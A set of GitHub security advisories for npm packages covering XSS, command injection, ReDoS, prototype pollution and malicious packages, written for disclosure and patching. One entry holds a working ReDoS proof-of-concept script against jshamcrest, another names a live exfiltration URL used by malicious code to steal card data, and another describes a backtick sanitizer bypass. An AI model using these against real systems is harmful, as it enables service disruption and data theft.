Published: 2021-06-21T17:16:42Z

A cross-site scripting (XSS) vulnerability in the HTML Data Processor in CKEditor 4 4.14.0 through 4.16.x before 4.16.1 allows remote attackers to inject executable JavaScript code through a crafted comment because --!> is mishandled.
Vulnerability: GHSA-xp63-6vf5-xf3v
Summary: Command injection in codecov (npm package)
Aliases: CVE-2020-15123
Severity: MODERATE
CWE: CWE-78
Published: 2020-07-20T17:20:20Z

### Impact

The `upload` method has a command injection vulnerability. Clients of the `codecov-node` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

A similar CVE was issued: [CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh), but the fix was incomplete. It only blocked `&`, and command injection is still possible using backticks instead to bypass the sanitizer.

We have written a [CodeQL](https://codeql.com) query, which automatically detects this vulnerability. You can see the results of the query on the `codecov-node` project [here](https://lgtm.com/query/7714424068617023832/).


### Patches
This has been patched in version 3.7.1

### Workarounds

None, however, the attack surface is low in this case. Particularly in the standard use of codecov, where the module is used directly in a build pipeline, not built against as a library in another application that may supply malicious input and perform command injection. 

### References
*  [CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh)

### For more information
If you have any questions or comments about this advisory:
* Contact us via our [Security Email](mailto:security@codecov.io)
Vulnerability: GHSA-qhv9-728r-6jqg
Summary: ReDoS via long string of semicolons in tough-cookie
Aliases: CVE-2016-1000232
Severity: MODERATE
CWE: CWE-20
Published: 2018-10-10T18:57:02Z

Affected versions of `tough-cookie` may be vulnerable to regular expression denial of service when long strings of semicolons exist in the `Set-Cookie` header.


## Recommendation

Update to version 2.3.0 or later.
Vulnerability: GHSA-6q4w-3wp4-q5wf
Summary: Denial of Service in get-ip-range
Aliases: CVE-2021-27191
Severity: HIGH
CWE: CWE-400
Published: 2021-04-13T15:15:57Z

The get-ip-range package before 4.0.0 for Node.js is vulnerable to denial of service (DoS) if the range is untrusted input. An attacker could send a large range (such as 128.0.0.0/1) that causes resource exhaustion. Update get-ip-range dependency to 4.0.0 or above.
Vulnerability: GHSA-xj62-87pg-vcv3
Summary: Regular Expression Denial of Service in jshamcrest
Aliases: CVE-2016-10521
Severity: HIGH
CWE: CWE-400
Published: 2019-02-18T23:38:51Z

The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.


## Proof of concept

```
var js = require('jshamcrest')
var emailAddress = new js.JsHamcrest.Matchers.emailAddress();


var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    emailAddress.matches(str)

    var end = process.hrtime(start);
    console.log(end);
}
```

### Results
It takes about 116 characters to get a 1.6 second event loop block.
```
[ 1, 633084590 ]
COUNT: 51
LENGTH: 116
```

# Timeline
- October 25, 2015 - Vulnerability Identified
- October 25, 2015 - Maintainers notified (no response)


## Recommendation

The `jshamcrest` package currently has no patched versions available.

At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).
Vulnerability: GHSA-7qg7-6g3g-8vxg
Summary: Malicious Package in bwffer-xor
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T22:46:25Z

Version 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.


## Recommendation

Remove the package from your environment. Ensure no Ethereum funds were compromised.
Vulnerability: GHSA-hx78-272p-mqqh
Summary: Authorization Bypass in graphql-shield
Severity: LOW
CWE: CWE-285
Published: 2020-09-03T19:21:11Z

Versions of `graphql-shield` prior to 6.0.6 are vulnerable to an Authorization Bypass. The rule caching option `no_cache` relies on keys generated by cryptographically insecure functions, which may cause rules to be incorrectly cached. This allows attackers to access information they should not have access to in case of a key collision.


## Recommendation

Upgrade to version 6.0.6 or later.
Vulnerability: GHSA-r96p-v3cr-gfv8
Summary: Cross-site Scripting (XSS) in @scullyio/scully
Aliases: CVE-2020-28470
Severity: HIGH
CWE: CWE-79
Published: 2021-04-13T15:28:01Z

This affects the package @scullyio/scully before 1.0.9. The transfer state is serialised with the JSON.stringify() function and then written into the HTML page.
Vulnerability: GHSA-5vm8-hhgr-jcjp
Summary: Cross-site scripting vulnerability in TinyMCE
Severity: MODERATE
CWE: CWE-79
Published: 2021-05-28T19:18:53Z

### Impact
A cross-site scripting (XSS) vulnerability was discovered in the URL sanitization logic of the core parser for `form` elements. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor using the clipboard or APIs, and then submitting the form. However, as TinyMCE does not allow forms to be submitted while editing, the vulnerability could only be triggered when the content was previewed or rendered outside of the editor. This impacts all users who are using TinyMCE 5.7.0 or lower.

### Patches
This vulnerability has been patched in TinyMCE 5.7.1 by improved URL sanitization logic.

### Workarounds
To work around this vulnerability, either:
- Upgrade to TinyMCE 5.7.1 or higher
- Manually sanitize `form` URL attributes using a [TinyMCE node filter](https://www.tiny.cloud/docs/api/tinymce.html/tinymce.html.domparser/#addnodefilter).
- Disable `form` elements in your content using the [invalid_elements](https://www.tiny.cloud/docs/configure/content-filtering/#invalid_elements) setting.

#### Example: Sanitizing using a node filter
```js
editor.parser.addNodeFilter('form', function(nodes) {
  nodes.forEach(function(node) {
    if (node.attributes) {
      node.attributes.forEach(function(attr) {
        var name = attr.name;
        var value = attr.value;
        // Sanitize the attribute value here or remove it entirely
        var sanitizedValue = ...;
        node.attr(name, santizedValue);
      });
    }
  });
});
```

#### Example: Using invalid_elements
```js
invalid_elements: 'form'
```

### Acknowledgements
Tiny Technologies would like to thank Mikhail Khramenkov at Solar Security Research Team for discovering this vulnerability.

### References
https://www.tiny.cloud/docs/release-notes/release-notes571/#securityfixes

### For more information
If you have any questions or comments about this advisory:
* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)
* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)
Vulnerability: GHSA-6g8v-hpgw-h2v7
Summary: Prototype pollution in gsap
Aliases: CVE-2020-28478
Severity: HIGH
CWE: CWE-400
Published: 2021-01-20T21:21:50Z

There is a prototype pollution vulnerability in gsap which affects all versions before 3.6.0.
Vulnerability: GHSA-5gwh-g79j-vh4q
Summary: Command Injection in pdf-image
Aliases: CVE-2018-3757
Severity: CRITICAL
CWE: CWE-78
Published: 2020-09-01T20:44:52Z

Versions of `pdf-image` before 2.0.0 are vulnerable to command injection. This vulnerability is exploitable if the attacker has control over the `pdfFilePath` variable passed into `pdf-image`.


## Recommendation

Update to version 2.0.0 or later.
Vulnerability: GHSA-x5rq-j2xg-h7qm
Summary: Regular Expression Denial of Service (ReDoS) in lodash
Aliases: CVE-2019-1010266
Severity: MODERATE
CWE: CWE-400
Published: 2019-07-19T16:13:07Z

lodash prior to 4.7.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.7.11.
Vulnerability: GHSA-qjg4-w4c6-f6c6
Summary: Command injection in mversion
Aliases: CVE-2020-4059
Severity: HIGH
CWE: CWE-77
Published: 2020-06-18T19:23:17Z

### Impact
This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

### Patches
Patched by version 2.0.0. Previous releases are deprecated in npm.

### Workarounds
Make sure to escape git commit messages when using the commitMessage option for the update function.
Vulnerability: GHSA-8mrf-g42m-5qc8
Summary: Downloads Resources over HTTP in dalek-browser-chrome-canary
Aliases: CVE-2016-10584
Severity: HIGH
CWE: CWE-311
Published: 2019-02-18T23:51:14Z

Affected versions of `dalek-browser-chrome-canary` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dalek-browser-chrome-canary`.


## Recommendation

No patch is currently available for this vulnerability.

The best mitigation is currently to avoid using this package, using a different package if available. 

Alternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.
Vulnerability: GHSA-3fv6-q5xv-fhpw
Summary: Malicious Package in coffee-project
Severity: CRITICAL
Published: 2020-09-01T19:50:23Z

Version 1.7.5 of `coffee-project` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`



## Recommendation

If version 1.7.5 of this module is found installed you will want to replace it with a version before or after 1.7.5. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.
Vulnerability: GHSA-hwj9-h5mp-3pm3
Summary: Regular Expression Denial of Service in postcss
Aliases: CVE-2021-23368
Severity: MODERATE
CWE: CWE-400
Published: 2021-05-10T15:29:24Z

The npm package `postcss` from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Vulnerability: GHSA-85cp-p426-42f5
Summary: Prototype Pollution in deep-get-set
Aliases: CVE-2020-7715
Severity: HIGH
CWE: CWE-1321
Published: 2021-05-06T18:12:59Z

All versions of package deep-get-set prior to version 1.1.1 are vulnerable to Prototype Pollution via the main function.
Vulnerability: GHSA-f5w6-r7rg-mcgq
Summary: Regular Expression Denial of Service in validator
Aliases: CVE-2014-8882
Severity: HIGH
CWE: CWE-400
Published: 2020-08-31T23:01:13Z

Versions of `validator` prior to 3.22.1 are affected by a regular expression denial of service vulnerability in the `isURL` method.


## Recommendation

Update to version 3.22.1 or later.